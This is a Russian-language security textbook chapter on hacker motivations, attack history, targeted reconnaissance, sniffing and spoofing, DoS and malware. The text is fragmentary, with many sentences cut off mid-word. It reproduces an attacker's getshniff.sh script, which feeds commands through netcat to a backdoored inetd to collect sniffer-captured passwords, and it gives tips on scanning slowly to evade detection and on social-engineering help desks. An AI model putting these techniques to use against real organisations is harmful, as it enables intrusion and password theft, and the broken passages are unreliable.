Сценарий sniff.sh использовал IP-адреса для установки соединения с целевой системой через порт 23 (telnet) от специального порта отправителя (53982). Программа nc (называемая также netcat ) позволяет устанавливать соединение от любого порта к любому порту. Находка этого сценария подсказала, что "черный ход" находился в измененном файле inetd. При установке соединения telnet от порта 53982 измененный inetd мог отыскивать пароли и, в случае успеха, запускать
Третий сценарий назывался getshniff.sh. Он передавался через соединение nc и выполнялся на целевой системе.
#!/bin/sh sleep 2 echo "oir##t" sleep 1 echo "cd /usr" sleep 1 echo "cd man" echo "cd tmp" sleep 2 echo "cat output*" sleep 1 echo "exit"
Сценарий getshniff.sh. дал нам пароль, который использовался вместе с измененным inetd (. Он вводил данные в nc для закрытия соединения с целевой системой и получал выходной файл из снифера.
Все эти сценарии наглядно показывают, чем занимался хакер в системе. После взлома системы он мог удаленно получать журналы снифера и, следовательно, проникать в системы, на которые не попал во время первой атаки. Автоматизация процесса взлома и извлечения паролей давала возможность быстрого доступа к большому количеству систем и расширения успеха с помощью получения и сохранения дополнительных паролей.
Хакер, использующий методы направленных атак, пытается проникнуть в конкретную организацию или нанести ей ущерб. Мотивацией его действий является стремление получить от организации информацию определенного типа. Он стремится причинить вред несколькими способами, используя для этого направленные
Объекты атак
Выбор объекта атаки обычно обоснован - это информация, представляющая интерес для хакера. Хакера может нанять сторонняя организация для получения некоторых сведений. Независимо от причины, объектом атаки становится конкретная организация (не обязательно ее внутренняя система).
Предварительное исследование
В направленных
Предварительное исследование адресов
В процессе предварительного исследования адресов выявляется адресное пространство, используемое в организации. Эту информацию можно найти во многих местах. В первую очередь, служба DNS позволяет определить адреса веб-серверов организации: адрес главного DNS-сервера в домене и адрес почтового сервера. Отыскать нужные адреса можно с помощью Американского реестра номеров интернета (American
Дополнительные доменные имена, назначенные организации, имеются в
Много информации об используемых адресах даст зонная передача от главного DNS-сервера домена. Если сервер позволяет осуществлять такую передачу, то в результате возможно получение списка всех известных ему систем домена. Это весьма ценная информация, но такой подход может обратить на себя внимание целевой системы. Правильно настроенные DNS-серверы ограничивают зонную передачу. В этом случае попытка получения информации заносится в журнал событий и выявляется администратором
Используя все вышеперечисленные способы, хакер получает список доменов, назначенных организации, адреса всех веб-серверов, почтовых серверов и главных серверов, список диапазонов адресов и, потенциально, список всех используемых адресов. Большую часть этой информации он найдет, не вступая в непосредственный контакт с организацией-жертвой.
Предварительное исследование телефонных номеров
Предварительное исследование телефонных номеров выполнить сложнее, чем отыскать сетевые адреса. Узнать главный номер организации можно в справочной либо на веб-сайте, поскольку организации публикуют там свои контактные телефоны и номера факсов.
После получения телефонных номеров хакер ищет работающие модемы, воспользовавшись программой типа "wardialer". Приблизительно определив блок телефонных номеров, используемых организацией, он начинает дозвон по этим номерам. Однако такая деятельность не останется незамеченной, так как будут прозваниваться многие офисные номера. Поэтому хакер постарается выполнить это в нерабочее время или в выходные дни, чтобы уменьшить вероятность обнаружения.
Осложняет работу то обстоятельство, что он не знает номера наверняка. В результате у него на руках могут оказаться модемные подключения других организаций, которые в данный момент ему не очень-то нужны.
В конце концов, хакер получит список номеров с отвечающим модемом. Возможно, он пригодится ему, а возможно, и нет. Хакеру предстоит проделать большую работу для сбора необходимой информации.
Предварительное исследование беспроводных сетей
Хакер проверит близлежащий район (автомобильные стоянки, другие этажи здания, улицу) на предмет наличия беспроводных сетей. Эту разведку он выполнит без особых усилий, прогуливаясь вокруг здания или проезжая на автомобиле. В большинстве случаев его попытки подключения к беспроводной сети не будут зарегистрированы
Примечание
Выполняя такое исследование, хакер должен физически находиться рядом с целевым объектом.
Предварительное исследование системы
Предварительное исследование систем представляет потенциальную опасность для хакера, но не с точки зрения задержания и ареста, а с точки зрения привлечения внимания. В процессе сбора данных хакер определяет используемое оборудование, операционные системы и их уязвимые места.
Хакер применяет развернутую отправку пинг-пакетов, скрытое сканирование или сканирование портов. Если он хочет остаться "в тени", то будет выполнять все очень медленно - один пинг-пакет по одному адресу примерно каждый час. Такая деятельность останется незамеченной для большинства администраторов.
Сканирование для определения операционных систем скрыть труднее, так как сигнатуры пакетов большинства инструментальных средств хорошо известны, и системы обнаружения вторжений (
Выявление уязвимых мест представляет для хакера серьезную опасность. Это можно сделать, осуществляя атаки или исследуя систему на наличие уязвимости. Одним из способов является проверка номера версии популярного программного обеспечения, например, почтового сервера или DNS-сервера, которая и подскажет известные уязвимые места
Если хакер воспользуется сканером уязвимых мест, то он с большой долей вероятности вызовет сигнал тревоги в системе обнаружения вторжений. Один сканер поможет хакеру отыскать единственную "прореху", другой выявит большее количество уязвимых мест. Независимо от используемого инструмента, хакер соберет нужную информацию, но, скорее всего, его присутствие будет замечено.
Предварительное исследование сферы деятельности
Понимание сферы деятельности организации очень важно для хакера. Он должен знать, как используются компьютерные системы, где размещена ценная информация и аппаратура. Эти знания помогут ему определить место расположения вероятной цели. Например, если сайт электронной коммерции вместо обработки транзакций владельцев кредитных карт отправляет покупателей на сайт банка, это означает, что на целевой системе не хранятся номера кредитных карт.
При проведении предварительного исследования хакер постарается выяснить, каким способом можно максимально навредить системе. Производителю, на единственной ЭВМ которого хранятся все производственные планы и материальные заказы, можно нанести серьезный ущерб выводом этой ЭВМ из строя. Именно эта ЭВМ станет главной целью для хакера, желающего максимально навредить этому производителю.
Частью
И последним этапом разведки является сбор информации о служащих. Многие организации размещают информацию о руководителях на своем веб-сайте. Такая информация представляет большую ценность, если хакер задумает воспользоваться методами социального инжиниринга. Дополнительную информацию даст поиск в интернете по имени домена организации. Таким способом можно получить адреса электронной почты служащих, размещающих в интернете
Физические методы сбора данных
Физические методы сбора данных в основном используются в направленных
Хакер ведет наблюдение за зданием, в котором размещается организация. Он изучает компоненты
Хакер проследит и за тем, как обращаются с мусором и выброшенными документами. Если все это складывается в мусорный бак позади здания, то он может ночью порыться в нем и найти интересующую информацию.
Методы атак
Имея на руках всю необходимую информацию об объекте атаки, хакер выберет наиболее подходящий способ с минимальным риском обнаружения. Запомните, что хакер, осуществляющий направленную атаку, заинтересован остаться в тени. Он вряд ли выберет метод атаки, который включит систему тревоги. Будем иметь это в виду при изучении электронных и физических методов атак.
Электронные методы атак
Хакер провел успешную разведку и выявил все внешние системы и все подключения к внутренним системам. Во время сбора данных об организации он определил уязвимые места систем. Выбор любого из них опасен, так как объект атаки может иметь системы обнаружения вторжения. Использование известных методов атак приведет в действие такую систему и вызовет ответные действия.
Хакер попытается скрыть атаку от
Если хакер решит атаковать с помощью дозвона по телефону, он поищет удаленный доступ с легко угадываемым паролем или вовсе без пароля. Его первоочередными целями станут системы с удаленным управлением или системы администратора. Он атакует их в нерабочее время, чтобы предотвратить обнаружение атаки служащими.
Если хакер нашел уязвимую домашнюю систему служащего, он будет атаковать ее напрямую либо отправит туда вирус или "
При выявлении беспроводных сетей хакер получает способ легкого доступа. Нередко беспроводные сети являются частью внутренней сети организации и имеют меньше установленных и работающих устройств безопасности (типа систем
Физические методы атак
Самым простым физическим методом атак является исследование содержимого мусорного бака в ночное время. В нем можно найти всю необходимую информацию. Если такой информации не окажется, то кое-какие сведения пригодятся для атак социального инжиниринга.
Социальный инжиниринг - самый безопасный метод физической атаки, с помощью которого можно проникнуть в систему. Ключевой момент такой атаки - маленькая ложь. К примеру, хакер позвонит секретарю в приемной и узнает номер службы поддержки. Затем он свяжется с удаленным офисом и под видом секретаря разузнает о каком-нибудь служащем. Следующий звонок - в службу поддержки - он сделает от его имени: попросит номер телефона для локального дозвона или скажет, что забыл пароль. Добытая информация позволит хакеру войти в систему с легальным ID и паролем пользователя.
Самым опасным типом физической атаки является реальное проникновение в организацию. В этой книге мы не будем описывать взлом помещения, хотя серьезный хакер решится и на это. Оказавшись внутри, он подключит свой переносной компьютер к сети. Во многих компаниях недостаточно контролируются внутренние сетевые подключения, поэтому в распоряжении злоумышленника окажется вся сеть. Если служащие не научены докладывать о посторонних в офисе, у хакера будет масса времени для поиска нужной информации.
Использование взломанной системы
Хакер будет использовать взломанную систему в своих целях, стараясь скрыть следы своего присутствия настолько тщательно, насколько возможно. Такие хакеры не хвастаются своими победами. Взломанная система станет для него стартовой площадкой для проникновения в более засекреченные внутренние системы. Все действия будут выполняться максимально скрытно, чтобы не привлечь внимания администраторов.
Данный проект показывает, как хакер будет проверять вашу организацию на наличие уязвимых мест. Предполагается, что вы загрузили и установили программы nmap (http://www.insecure.org/) и Nessus (http://www.nessus.org/).
Шаг за шагом
Выводы
Данный проект позволяет получить базовую информацию о пространстве IP-адресов организации и ее системах. Шаги с 1 по 5 не требуют подключения к системам организации. В результате их выполнения и собирается основная информация об организации и используемом адресном пространстве.
Шаги 6 и 7 должны выполняться с разрешения сетевых администраторов и администраторов службы безопасности, поскольку могут вызвать сигнал тревоги в системах обнаружения вторжений. По окончании работы вы получите довольно полную распечатку систем и их уязвимых мест.
Рассказ о безопасности будет неполным без лекции о хакерах и методах их работы. Термин хакер здесь используется в его современном значении - человек, взламывающий компьютеры. Надо заметить, что раньше быть хакером не считалось чем-то противозаконным, скорее, это была характеристика человека, умеющего профессионально обращаться с компьютерами. В наши дни хакерами мы называем тех, кто ищет пути вторжения в компьютерную систему или выводит ее из строя.
Исследования показали, что хакерами чаще всего становятся:
Хакеры имеют четкое представление о работе компьютеров и сетей, о том, как протоколы используются для выполнения системных операций.
В этой лекции вы познакомитесь с мотивацией и методами хакеров. Не нужно считать ее пособием для начинающих хакеров, в ней всего лишь рассказывается о том, как можно взломать и заставить работать на себя ваши системы.
Мотивация дает ключ к пониманию поступков хакеров, выявляя замысел неудавшегося вторжения. Мотивация объясняет, почему компьютеры так привлекают их. Какую ценность представляет ваша система? Чем она интересна? Для какого метода взлома подходит? Ответы на эти вопросы позволят профессионалам в области безопасности лучше оценить возможные угрозы для своих систем.
Привлечение внимания
Первоначальной мотивацией взломщиков компьютерных систем было желание "сделать это". И до сих пор оно остается наиболее общим побудительным мотивом.
Взломав систему, хакеры хвастаются своими победами на
Хакеров привлекает не просто взлом конкретной системы, а стремление сделать это первым либо взломать сразу много систем. В отдельных случаях взломщики специально удаляют уязвимое место, с помощью которого они вывели компьютер из строя, чтобы никто больше не смог повторить атаку.
Желание привлечь к себе внимание порождает ненаправленные атаки, т. е. взлом выполняется ради развлечения и не связан с
Примечание
Все чаще наблюдается еще одна форма мотивации - хактивизм (hactivism), или хакинг во имя общественного блага. Хактивизм связывает себя с политическими акциями и зачастую служит поводом для оправдания преступления. Он является более опасным, поскольку привлекает честных и наивных людей. Дополнительная информация находится на сайте http://hacktivismo.com/.
Алчность
Алчность - один из самых старых мотивов для преступной деятельности. Для хакера это связано с жаждой получения любой наживы - денег, товаров, услуг, информации. Допустима ли такая мотивация для взломщика? Для ответа на этот вопрос исследуем, насколько трудно установить личность взломщика, задержать его и вынести обвинение.
Если в системе обнаружится вторжение, большинство организаций исправит уязвимость, которая использовалась при атаке, восстановит систему и продолжит работу. Некоторые обратятся за поддержкой к правоохранительным органам, если не смогут выследить взломщика за недостатком доказательств, или если хакер находится в стране, где отсутствуют законы о компьютерной безопасности. Предположим, что хакер оставил улики и задержан. Далее дело будет вынесено на суд присяжных, и прокурор округа (или федеральный прокурор) должен будет доказать, что человек на скамье подсудимых действительно взломал систему жертвы и совершил кражу. Это сделать очень трудно!
Даже в случае вынесения обвинительного приговора наказание хакера может быть очень легким. Вспомним случай с хакером по имени Datastream Cowboy. Вместе с хакером Kuji он взломал систему Центра авиационных разработок базы ВВС Гриффиз (Griffis) в Риме и Нью-Йорке и украл программное обеспечение на сумму свыше двухсот тысяч долларов. Хакером Datastream Cowboy оказался 16-летний подросток из Великобритании - он был арестован и осужден в 1997 г. Его присудили к уплате штрафа размером в 1915 долларов.
На этом примере важно понять следующее: должен существовать способ борьбы с преступниками, движущей силой которых является жажда наживы. В случае взлома системы риск быть схваченным и осужденным очень низок, а прибыль от воровства номеров кредитных карт, товаров и информации очень высока. Хакер будет разыскивать ценную информацию, которую можно продать или использовать с выгодой для себя.
Хакер, основным мотивом которого является алчность, ставит перед собой особые задачи - его главной целью становятся сайты с ценным содержанием (программным обеспечением, деньгами, информацией).
Примечание
ФБР приступило к работе по программе Infragard. Цель программы - улучшение отчетности о преступной деятельности и дальнейшее развитие отношений между сферой бизнеса и правоохранительными органами (подробности см. на сайте http://www.infragard.net/). Программа предоставляет своим участникам информацию для совместного использования и анализа, а также средства для обучения взаимодействию с органами охраны правопорядка и работе с поступающими сведениями.
Злой умысел
И последней мотивацией хакера может быть злой умысел, вандализм. В этом случае хакер не заботится о захвате управления системой (только если это не помогает ему в его целях). Вместо этого он старается причинить вред легальным пользователям, препятствуя их работе в системе, или законным владельцам сайта, изменяя его веб-страницы. Злонамеренные атаки обычно направлены на конкретные цели. Хакер активно стремится нанести ущерб определенному сайту или организации. Основная причина таких атак - желание отомстить за несправедливое обращение или сделать политическое заявление, а конечный результат - причинение вреда системе без получения доступа к ней.
В этом разделе мы собираемся не просто поговорить об истории хакерства, а рассмотреть ее с различных точек зрения. Прошлые события и факты получили широкую огласку; существует множество ресурсов, в которых описаны эти события и их участники. Поэтому мы не будем повторяться, а познакомимся с эволюцией хакерских методов. Вы увидите, что многих случаев успешного взлома можно было избежать при правильной настройке системы и использовании программных методов.
Коллективный доступ
Первоначальной целью при создании интернета был общий доступ к данным и совместная работа исследовательских институтов. Таким образом, большинство систем было сконфигурировано для коллективного использования информации. При работе в операционной системе Unix использовалась
Этим механизмом воспользовались первые хакеры для получения доступа к информации - они подключали удаленный диск и считывали ее. NFS использовала номера идентификаторов пользователя (user ID,
Общий доступ к файлам нельзя считать уязвимым местом, это, скорее, серьезная ошибка конфигурации. Самое интересное, что многие операционные системы (включая ОС Sun) поставляются с
(рис 3.1) Использование сетевой файловой системы NFS для доступа к удаленным системным файламСовет
В большинстве случаев
Уязвимое место в виде совместного доступа к файлам имеется не только в операционной системе Unix, но и в Windows NT, 95, 98. Некоторые из этих систем можно настроить на разрешение удаленного подключения к их файловым системам. Если пользователь решит установить
Внимание!
Новые системы коллективного доступа к файлам, например Gnutella, позволяют компьютерам внутренней сети устанавливать общий доступ к файлам других систем в интернете. Эти системы имеют перенастраиваемую конфигурацию и могут открывать порты, обычно защищенные межсетевым экраном (например, порт 80). Такие системы представляют более серьезную опасность, чем NFS и общий доступ к файлам в ОС Windows.
В ту же самую категорию, что и совместное использование файлов и неправильная настройка, относится удаленный доступ с
Примечание
Межсетевые экраны могут контролировать не только коллективное использование файлов, но и удаленный доверительный доступ из внешней сети. Однако во внутренней сети внешний межсетевой экран такой контроль выполнить не сможет. И это является серьезной проблемой безопасности.
Слабые пароли
Наверное, самый общий способ, который используют хакеры для входа в систему, - это слабые пароли. Пароли по-прежнему применяются для аутентификации пользователей. Так как это стандартный метод идентификации для большинства систем, он не связан с
Легко угадываемый пароль также является слабым паролем. Например, пароль корневого каталога "toor" ("root", записанный в обратном порядке) позволит хакеру очень быстро получить доступ к системе. Некоторые проблемы, связанные с паролем, принадлежат к категории неправильной настройки системы. Например, в старейшей корпорации цифрового оборудования Digital Equipment Corporation систем
Наглядный пример того, как слабые пароли помогают взламывать системы, - червь Морриса. В 1988 г. студент Корнеллского университета Роберт Моррис разработал программу, которая распространялась через интернет. Эта программа использовала несколько уязвимых мест для получения доступа к компьютерным системам и воспроизведения самой себя. Одним из уязвимых мест были слабые пароли. Программа наряду со списком наиболее распространенных паролей использовала следующие пароли: пустой пароль,
Вопрос к эксперту
Вопрос. Существует ли надежная альтернатива паролям?
Ответ. Альтернативой паролям являются
Совет
Не существует универсальных решений проблемы паролей. В большинстве операционных систем системный администратор имеет возможность настраивать требования к паролям, и это очень важно. Однако лучшая защита от слабых паролей - обучение служащих должному пониманию проблем безопасности.
Дефекты программирования
Хакеры пользовались дефектами программирования много раз. К этим дефектам относится оставленный в программе "черный ход" (back
Не так давно бум в программировании веб-сайтов привел к созданию новой категории "неосторожного" программирования. Она имеет отношение к онлайновой торговле. На некоторых веб-сайтах информация о покупках: номер товара, количество и даже цена - сохраняется непосредственно в строке адреса URL. Эта информация используется веб-сайтом, когда вы подсчитываете стоимость покупок и определяете, сколько денег снято с вашей кредитной карты. Оказывается, что многие сайты не проверяют информацию при упорядочивании списка, а просто берут ее из строки URL. Если хакер модифицирует URL перед подтверждением, он сможет получить пустой номер в списке. Бывали случаи, когда хакер устанавливал цену с отрицательным значением и, вместо того чтобы потратить деньги на покупку, получал от веб-сайта кредит. Не совсем разумно оставлять подобную информацию в строке адреса, которая может быть изменена клиентом, и не проверять введенную информацию на сервере. Несмотря на то, что это уязвимое место не позволяет хакеру войти в систему, большому риску подвергается и веб-сайт, и организация.
Социальный инжиниринг
Социальный инжиниринг - это получение несанкционированного доступа к информации или к системе без применения технических средств. Вместо использования уязвимых мест или эксплойтов хакер играет на человеческих слабостях. Самое сильное оружие хакера в этом случае - приятный голос и актерские способности. Хакер может позвонить по телефону сотруднику компании под видом службы технической поддержки и узнать его пароль "для решения небольшой проблемы в компьютерной системе сотрудника". В большинстве случаев этот номер проходит.
Иногда хакер под видом служащего компании звонит в службу технической поддержки. Если ему известно имя служащего, то он говорит, что забыл свой пароль, и в результате либо узнает пароль, либо меняет его на нужный. Учитывая, что служба технической поддержки ориентирована на безотлагательное оказание помощи, вероятность получения хакером хотя бы одной учетной записи весьма велика.
Хакер не поленится сделать множество звонков, чтобы как следует изучить свою цель. Он начнет с того, что узнает имена руководителей на веб-сайте компании. С помощью этих данных он попытается раздобыть имена других служащих. Эти новые имена пригодятся ему в разговоре со службой технической поддержки для получения информации об учетных записях и о процедуре предоставления доступа. Еще один телефонный звонок поможет узнать, какая система используется и как осуществляется удаленный вход в систему. Используя имена реальных служащих и руководителей, хакер придумает целую историю о важном совещании на сайте клиента, на которое он якобы не может попасть со своей учетной записью удаленного доступа. Сотрудник службы технической поддержки сопоставит факты: человек знает, что происходит, знает имя руководителя и компании - и, недолго думая, предоставит ему доступ.
Другими формами социального инжиниринга являются исследование мусора организаций, виртуальных мусорных корзин, использование источников открытой информации (веб-сайтов, отчетов, предоставляемых в Комиссию по ценным бумагам США, рекламы), открытый грабеж и самозванство. Кража портативного компьютера или набора инструментов сослужит хорошую службу хакеру, который захочет побольше узнать о компании. Инструменты помогут ему сыграть роль обслуживающего персонала или сотрудника компании.
Социальный инжиниринг позволяет осуществить самые хитроумные проникновения, но требует времени и таланта. Он обычно используется хакерами, которые наметили своей жертвой конкретную организацию.
Совет
Самой лучшей обороной против атак социального инжиниринга является информирование служащих. Объясните им, каким образом служба технической поддержки может вступать с ними в контакт и какие вопросы задавать. Объясните персоналу этой службы, как идентифицировать сотрудника, прежде чем говорить ему пароль. Расскажите персоналу организации о выявлении людей, которые не должны находиться в офисе, и о том, как поступать в этой ситуации.
Переполнение буфера
Следует отметить, что
Что такое переполнение буфера
Стек управляет переключением между программами и сообщает операционной системе, какой код выполнять, когда одна часть программы (или функции) завершает свою задачу. В стеке хранятся локальные переменные функции. При атаке на
(рис 3.2) Так работает переполнение буфераПочему возникает переполнение буфера?
Примечание
Следует заметить, что многие общие функции копирования строк в языке программирования С не выполняют проверку размера строки или буфера перед копированием данных. К ним относятся функции
Совет
Существует несколько автоматизированных сценариев, используемых для поиска вероятного
Отказ в обслуживании
Атаки на отказ в обслуживании (
Атаки DoS нельзя полностью предотвратить, их нельзя и остановить, если не удастся выявить источник нападения. Атаки DoS происходят не только в киберпространстве. Пара кусачек является нехитрым инструментом для
Следует отметить еще один важный момент в подготовке большинства атак. Пока взломщику не удастся проникнуть в целевую систему,
Централизованные DoS-атаки
Первыми типами DoS-атак были централизованные атаки (single-source), т. е. для осуществления атаки использовалась одна-единственная система. Наиболее широкую известность получила так называемая синхронная атака (
Очевидно, что если источник синхронной атаки имеет легальный IP-адрес, то его можно относительно легко идентифицировать и остановить атаку. А если адрес отправителя является немаршрутизируемым, таким как 192.168.х.х? Тогда задача усложняется. В случае продуманного выполнения синхронной атаки и при отсутствии должной защиты IP-адрес атакующего практически невозможно определить.
Для защиты систем от синхронных атак было предложено несколько решений. Самый простой способ - размещение таймера во всех соединениях, ожидающих очереди. По истечении некоторого времени соединения должны закрываться. Однако для предотвращения грамотно подготовленной атаки таймер придется установить равным такому маленькому значению, что это сделает работу с системой практически невозможной. С помощью некоторых сетевых устройств можно выявлять и блокировать синхронные атаки, но эти системы склонны к ошибочным результатам, поскольку ищут определенное количество отложенных подключений в заданном промежутке времени. Если атака имеет несколько источников одновременно, то ее очень трудно идентифицировать.
(рис 3.3) Синхронная DoS-атакаПосле синхронной атаки были выявлены и другие атаки, более серьезные, но менее сложные в предотвращении. При выполнении атаки "пинг смерти" (Ping of Death) в целевую систему отправлялся пинг-пакет (ICMP эхо-запрос). В обычном варианте пинг-пакет не содержит данных. Пакет "пинг смерти" содержал большое количество данных. При чтении этих данных системой-получателем происходило
"Пинг смерти" - лишь одна разновидность
Примечание
К сожалению, выявление новых DoS-атак, направленных против приложений и операционных систем, носит регулярный характер. От новых нападений можно немного отдохнуть, лишь пока хакеры исправляют ошибки в сценариях прошлых атак.
Распределенные DoS-атаки
Распределенные
Современные
(рис 3.4) Осуществление smurf-атакиГлавным результатом
(рис 3.5) Структура инструментального средства для выполнения DDoS-атакиМногие современные атаки выполняются так называемыми "скрипт киддиз" (
Однако существуют и другие методы, основанные на более глубоком понимании работы компьютеров, сетей и атакуемых систем. В данном разделе мы познакомимся с такими методами - с прослушиванием (снифингом, от англ.
Прослушивание коммутируемых сетей
Прослушивание, или снифинг (
Поскольку сейчас больше используются сетевые коммутаторы, эффективность снифинга стала снижаться. В коммутируемой среде не применяется режим широковещательной передачи, вместо этого пакеты отправляются непосредственно к системе-получателю. Однако коммутаторы не являются защитными устройствами. Это обычные сетевые устройства, следовательно, обеспечиваемая ими безопасность скорее побочный продукт их сетевого назначения, чем элемент конструкции. Поэтому вполне возможно появление снифера, способного работать и в коммутируемой среде. И это уже произошло. Снифер, специально разработанный для коммутируемой среды, можно найти по адресу http://ettercap. sourceforge.net/.
Для прослушивания трафика в коммутируемой среде хакер должен выполнить одно из условий:
При выполнении одного из условий снифер сможет считывать интересующий трафик и, таким образом, обеспечивать хакера искомой информацией.
Перенаправление трафика
Коммутатор направляет трафик к портам на основании адреса доступа к среде передачи данных (
Ниже приведены методы, с помощью которых можно заставить коммутатор направлять сетевой трафик к сниферу:
ARP-спуфинг (ARP-
Если снифер захватит трафик, представляющий для него интерес, то он ответит на ARP-запрос вместо реальной системы-получателя и предоставит собственный MAC-адрес. В результате система-отправитель будет посылать трафик на снифер.
Для обеспечения эффективности данного процесса необходимо переадресовывать весь трафик на снифер вместо реального места назначения. Если этого не сделать, то появится вероятность возникновения отказа в доступе к сети.
Примечание
ARP-спуфинг работает только в локальных подсетях, поскольку ARP-сообщения передаются только внутри локальной подсети. Снифер должен размещаться в том же самом сегменте локальной сети, где находятся системы отправителя и получателя.
Дублирование MAC-адресов. Дублирование MAC-адреса системы-получателя является еще одним способом "убедить" коммутатор посылать трафик на снифер. Для этого хакеру нужно изменить MAC-адрес на снифере и разместиться в системе, которая находится в том же сегменте локальной сети.
Примечание
Считается, что изменить MAC-адреса невозможно. Однако дело обстоит совсем не так. Это можно сделать в системе Unix с помощью команды ifconfig. Аналогичные утилиты имеются и в системе Windows - ipconfig.
Для выполнения ARP-спуфинга снифер должен располагаться в той же самой локальной подсети, что и обе системы (отправитель и получатель), чтобы иметь возможность дублирования MAC-адресов.
Имитация доменного имени. Существует третий способ заставить коммутатор отправлять весь трафик на снифер: нужно "обмануть" систему-отправителя, чтобы она использовала для передачи данных реальный MAC-адрес снифера. Это осуществляется с помощью имитации доменного имени.
При выполнении этой атаки снифер перехватывает DNS-запросы от системы-отправителя и отвечает на них. Вместо IP-адреса систем, к которым был послан запрос, система-отправитель получает IP-адрес снифера и отправляет весь трафик к нему. Далее снифер должен перенаправить этот трафик реальному получателю. Мы видим, что в этом случае атака имитации доменного имени превращается в атаку перехвата.
Для обеспечения успеха данной атаки сниферу необходимо просматривать все DNS-запросы и отвечать на них до того, как это сделает реальный получатель. Поэтому снифер должен располагаться на маршруте следования трафика от системы-отправителя к DNS-серверу, а еще лучше - в той же локальной подсети, что и отправитель.
Примечание
Снифер мог бы просматривать запросы, отправляемые через интернет, но чем дальше он от системы-отправителя, тем сложнее гарантировать, что он первым ответит на них.
Отправка всего трафика ко всем портам
Вместо выполнения одного из вышеперечисленных методов хакер может заставить коммутатор работать в качестве
Выполнение атак
Давайте подумаем о том, что требуется для выполнения вышеперечисленных атак. В случае ARP-спуфинга, дублирования MAC-адресов или MAC-флудинга злоумышленник должен напрямую подключиться к атакуемому коммутатору. Такое подключение требуется и для имитации доменного имени.
Вывод такой - хакер должен установить систему на локальном коммутаторе. Он может вначале войти в систему через известную уязвимость, а затем инсталлировать необходимое для снифинга программное обеспечение. В другом варианте хакер уже находится внутри организации (он ее служащий или подрядчик). В этом случае он использует свой законный доступ в локальную сеть, что позволяет ему связаться с коммутатором.
Имитация IP-адреса
Как уже говорилось выше, правильность IP-адресов в пакетах, передаваемых по сети, не проверяется. Следовательно, хакер может изменить адрес отправителя так, чтобы казалось, будто пакет прибывает с любого адреса. Сложность заключается в том, что возвращаемые пакеты (
В 1989 г. Стив Беловин (Steve Bellovin) из лаборатории ATT
Подробные сведения об атаке имитации IP-адреса
На рис. 3.6 показано выполнение атаки имитации IP-адреса. Вначале хакер идентифицирует свою цель. Он должен определить величину приращения исходного порядкового номера (ISN). Это можно сделать, выполняя серию легальных подключений к целевой системе и отмечая возвращаемые ISN (при этом хакер рискует "засветить" свой реальный IP-адрес).
(рис 3.6) Выполнение имитации IP-адресаПосле определения величины приращения ISN хакер посылает к целевой системе TCP
Если все это будет правильно выполнено, хакер закроет легальное подключение к целевой системе. Он сможет посылать команды и информацию к системе, но не будет получать ответы.
Имитация IP-адреса - пример из практики
При атаке имитации IP-адреса компьютерная система считает, что она взаимодействует с другой системой. Как это реализуется на практике? Ясно, что подобная атака, нацеленная на службу электронной почты или
При настройке служб
При обнаружении системы, имеющей
При подключении к службе
Вопрос к эксперту
Вопрос. Имеются ли случаи успешного проникновения в систему посредством имитации IP-адреса?
Ответ. Конечно. Кевин Митник (Kevin Mitnick) использовал именно этот тип атаки для проникновения в Центр суперкомпьютеров в Сан-Диего. Он реализовал атаку во время рождественских праздников, когда в системах почти не было пользователей. Это способствовало его планам, так как никто не обращал внимание на его действия
(рис 3.7) Практическая реализация атаки имитации IP-адресаВ следующих разделах мы подробно рассмотрим каждый тип.
Вирусы
Компьютерные вирусы являются паразитами по отношению к другим компьютерным программам. Они сделаны так, что не могут жить самостоятельно. При выполнении программы, в которую внедрен вирус, исполняется код вируса, реализующий собственные функции. Эти функции обычно включают заражение других программ и распространение на другие диски. Некоторые вирусы являются вредоносными - они удаляют файлы или выводят из строя систему. Другие вирусы не наносят никакого вреда, кроме распространения самих себя по компьютерным системам.
Вирусы начали появляться в то время, когда компьютеры использовали дисковую операционную систему - DOS. (Не путайте с атакой DoS!) Эти вирусы распространялись через файлы, доступные на электронных досках объявлений, или через дискеты. Позднее были созданы вирусы, которые прикреплялись к файлам текстовых редакторов и исполнялись как часть языка макросов в программах обработки текста.
Примерами
Примечание
Все типы вредоносного кода относят к категории
"Троянские кони"
Древние греки спрятали в подношении воинов, готовящих нападение. Так и "
Большинство программ типа "
Ущерб от "троянских коней" подобен ущербу от
Черви
Судя по названию, червь - это программа, которая "переползает" от системы к системе без всякой помощи со стороны жертвы. Червь сам себя распространяет и воспроизводит. Все, что требуется от его создателя, - запустить червя.
Первым известным примером является знаменитый интернет-червь, созданный Робертом Моррисом в 1989 г. Червь Морриса был запрограммирован на использование множества уязвимых мест, в том числе слабых паролей. С их помощью он отыскивал в интернете системы, в которые проникал и выполнялся. Попав в систему, червь начинал разыскивать другие жертвы. По прошествии некоторого времени он вывел из строя весь интернет (правда, интернет тогда был значительно меньше, и многие сайты отключились от сети сами, чтобы защититься от червя).
В последнее время широкую известность приобрел червь
Примечание
В первоначальной версии червя
Пример червя Slapper
В сентябре 2002 г. в интернете появился червь Slapper, который продемонстрировал потенциальную опасность червей. Этот червь действовал не сразу, подготавливая "плацдарм" для будущей атаки. Следует отметить, однако, что даже в момент своего наивысшего подъема червь Slapper не затронул такого количества систем, как червь
Червь Slapper использовал уязвимое место в модуле OpenSSL веб-сервера Apache (OpenSSL позволяет работать с протоколом защищенной передачи гипертекстов HTTPS). Попав в систему, червь выбирал IP-адрес для атаки из списка сетей класса А, запрограммированных в коде червя. Затем Slapper исследовал IP-адрес целевой системы и проверял, выполняется ли на ней веб-сервер. В случае положительного ответа он выяснял, не является ли этот веб-сервер сервером Apache, работающим на платформе Intel (поскольку он имеет свои специфические "бреши"). В конце концов червь определял наличие в целевой системе уязвимого места для атаки.
Сама атака выполнялась посредством использования HTTPS и порта 443. Это затрудняло обнаружение нападения, так как трафик шифровался. Единственное, что выдавало деятельность червя: при поиске уязвимого места он использовал
Эксплойт, выполнявшийся на целевой системе, позволял червю получить доступ к командам оболочки shell, с помощью которых он копировал и компилировал самого себя, а затем выполнял получившуюся программу. Далее он отыскивал новые жертвы и запускал процесс снова и снова. После инфицирования одной системы червь продолжал с нее поиск других уязвимых систем.
Самой опасной функцией червя Slapper (и ключевым компонентом будущих червей) была его способность к распространению по сети. Вместо
Гибриды
В последнее время появилась еще одна разновидность вредоносных программ - объединение двух типов программ в одну. Можно встретить программы, действующие одновременно и как черви, и как "
Прекрасным примером является червь Nimda, который использовал уязвимые места веб-сервера для перемещения с одной системы на другую, подобно червю. Однако Nimda распространялся и через вложения электронной почты, сделанные весьма привлекательными для пользователя, чтобы соблазнить его открыть файл. После открытия вложения червь распространялся далее через электронную почту. Он использовал системы жертв для атаки веб-серверов.
Вопросы для самопроверки
